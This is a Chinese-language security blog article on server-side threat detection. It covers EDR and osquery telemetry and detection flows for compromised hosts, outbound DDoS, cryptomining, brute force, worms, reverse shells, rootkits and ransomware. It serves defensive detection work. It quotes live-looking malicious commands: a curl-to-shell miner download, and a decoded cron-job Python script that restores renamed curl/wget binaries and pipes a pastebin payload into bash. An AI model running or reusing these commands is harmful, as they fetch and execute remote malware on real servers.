態勢感知——伺服器安全策略探索
0x00、業務需求
企業IT架構數字化轉型的大潮中,往往會面臨各種各樣的安全威脅,包括:系統和應用軟體漏洞利用攻擊,APT攻擊,資料洩露,雲伺服器濫用,DDoS攻擊等。同時為了應對速度越來越快的網路犯罪攻擊,以及針對性攻擊的多型化。為我們安全人員提出了更高的要求。
在做應急響應安全事件過程的過程中,確認攻擊痕跡一般從以下幾個方面:
0x01、伺服器安全告警
在態勢感知產品中,在伺服器上部署EDR終端是一個很好的伺服器安全量化的一個過程。因為我們在伺服器上可以收集程序、埠、賬號、軟體以及檔案目錄基礎的安全資料。通過這些基礎資料通過後臺大資料分析加工形成我們感知到威脅。
上篇文章主要是從網路層闡述如何檢測,本篇主要從伺服器端做檢測,伺服器端檢測有以下優勢:
·單純的網路層威脅檢測無法和終端資料聯動,形成的證據鏈可信度低。
· 加密連線,通過SSL的bash反連等,無法通過網路檢測,需要深度學習檢測,檢測成本過高。
· threat hunting需求,可以更深入調查,包括獲取惡意程式。
那麼我們先從入侵行為分析開始:
· 失陷主機
檢測思路:需要收集伺服器端基礎資料: 實時網路連線資料,同時需要商業威脅情報資料來源。
實時網路連線資料,實驗環境搭建:通過kolide+osquery+ElasticSearch+kibana。
實現步驟:
1、從伺服器端獲取基礎外聯網路資料。
2、通過flink或者spark streaming做實時Top程序、Top外聯IP統計,分析所有伺服器上傳的外聯孤島資料,也可以編輯規則重點監控下載應用程式,或者下載對端的應用如果是HFS服務。需要重點關注。當然這裡可以玩的playbook很多,需要使用者自己挖掘。
3、從中獲取到應有程式路徑、對外連線IP資訊,以及埠。通過IP地址查詢威脅情報,如果對端IP地址使用的C2、Tor、VPN、SS等地址視為失陷主機。
· 對外可疑連線
檢測思路:這裡主要是增加內容特徵,比如說:上傳裝置基本資訊、傳送攻擊指令、獲取公網IP地址、黑客攻擊連線等。伺服器端需要把惡意程式上傳雲查殺或者雲沙箱做深入檢測。
實驗環境:Malice(支援Yara+多防毒引擎整合+virustotal)+ClamAV +ElasticSearch+kibana。
IDS檢測規則完善:
當然需要一個安全Team維護這個規則。
檢測流程:
1、通過IDS檢測到對外連線。
2、通過網路通訊程序關聯到檔案。
3、上傳檔案到雲查殺系統中檢測。如果發現病毒告警。
· 對外DDoS
檢測思路:通過獲取實時程序快照,網路對外連線快照,網路層獲取其流量資訊,同時也上傳對應的程序檔案到雲查殺和雲沙箱檢測。在網路層檢測通過IDS規則檢測到對外DDoS攻擊最多為:NTP反射攻擊、memcache反射攻擊。但是在伺服器端檢測會發現更多攻擊方式,例如:CC攻擊、SIP協議攻擊、視訊協議攻擊、SYN Flood、ACK Flood等。當然需要客戶端抓包進一步確認。
檢測流程:
1、獲取程序快照,網路對外連線快照,對外連線網路流量(需要驅動支援)或者獲取總流量。
2、執行抓包程式,採集伺服器端Pcap包,上傳Pcap包樣本到伺服器端。
3、通過各種DDoS攻擊規則過濾,如果發現預定的攻擊型別。
· 挖礦檢測
檢測思路:特徵是CPU佔用率過高。通過上傳程序快照,同時獲取類似top命令CPU佔用率資訊。可以確定挖礦程序。當然還有 /bin/sh -c /usr/bin/curl -sL https://xmr.tgywl.cn |sh 直接挖礦。
檢測流程:
1、獲取程序快照,CPU佔用率資訊。
2、多次CPU佔率過高的程序聚合。
3、上傳檔案到雲查殺系統中檢測。如果發現病毒告警。
4、複查各個埠被入侵的痕跡,如果產生以下攻擊告警,需要大資料關聯分析(flink or spark streaming)。
· 對外爆破
檢測思路:關聯網路層檢測和伺服器端檢測相關程序。
檢測流程:
1、獲取程序快照,對外網路連線快照。
2、獲取網路層面各種協議的暴力破解告警。
3、使用flink or spark streaming 做大資料關聯分析。
· 蠕蟲病毒
檢測思路:如果存在對外掃描功能,通過大資料分析網路連線,短時間內過多連線視為可疑。
檢測流程:
1、獲取程序快照,對外網路連線快照。
2、獲取網路層面對外可疑連線告警。
3、上傳檔案到雲查殺系統中檢測。進一步分析,發現病毒標記為蠕蟲病毒告警。
· 反彈shell
檢測思路:sh或者bash執行開啟遠端連線,視為反彈shell。
檢測流程:
1、獲取程序快照,對外網路連線快照。
2、查詢語句。
"behavioral_reverse_shell": { "query" : "SELECT DISTINCT(processes.pid), processes.parent, processes.name, processes.path, processes.cmdline, processes.cwd, processes.root, processes.uid, processes.gid, processes.start_time, process_open_sockets.remote_address, process_open_sockets.remote_port, (SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline FROM processes JOIN process_open_sockets USING (pid) LEFT OUTER JOIN process_open_files ON processes.pid = process_open_files.pid WHERE (name='sh' OR name='bash') AND remote_address NOT IN ('0.0.0.0', '::', '') AND remote_address NOT LIKE '10.%' AND remote_address NOT LIKE '192.168.%';", "interval" : 600, "description" : "Find shell processes that have open sockets" },
· rootkit檢測
我們先看一個入侵案例,以下指令碼是使用者放到定時任務中的經過base64加密的指令碼,通過替換curl、wget實現程序網路通訊隱藏的目的。
import os import os.path def GetDeps(): if os.path.isfile('/usr/bin/url'): os.system("mv /usr/bin/url /usr/bin/curl") os.system("chmod 777 /usr/bin/curl") os.system("chmod +x /usr/bin/curl") if os.path.isfile('/usr/bin/get'): os.system("mv /usr/bin/get /usr/bin/wget") os.system("chmod 777 /usr/bin/wget") os.system("chmod +x /usr/bin/wget") if not os.path.isfile('/usr/bin/wget'): os.system("yum clean all") os.system("yum -y install wget") os.system("apt-get update") os.system("apt-get -y install wget") if not os.path.isfile('/usr/bin/curl'): os.system("yum clean all") os.system("yum -y install curl") os.system("apt-get update") os.system("apt-get -y install wget") if os.getuid()==0: GetDeps() os.system("(curl -fsSL https://pastebin.com/raw/JuBCmASZ||wget -q -O- https://pastebin.com/raw/JuBCmASZ)|bash%7Cbash)")
由於存在我們安裝的伺服器以前中過rootkit程式的情況。
檢測流程
1、需要從遠端下載wget\curl\ps\ls\netstat\ss等網路和檔案檢測工具
2、與本地對應的檔案做對比檢測找到diff。
3、如果存在Diff,證明存在rootkit的惡意行為,告警。
· 勒索軟體
檢測思路:
1、上傳檔案建立基礎資料資訊、上傳程序快照資訊。
2、統計平時檔案建立資料,設定動態基礎資料基線。
3、如果單臺伺服器建立量超出平時2倍以上,需要把對應的檔案上傳到雲查殺分析,如果發現勒索軟體病毒標籤告警。
0x03、總結
伺服器安全檢測是一項非常繁瑣,並且特殊情況比較多的工作,需要這些檢測規則和手段自動化成威脅模型。同時,人工threat huning結果也要不斷加入,形成正向反饋,良性迴圈。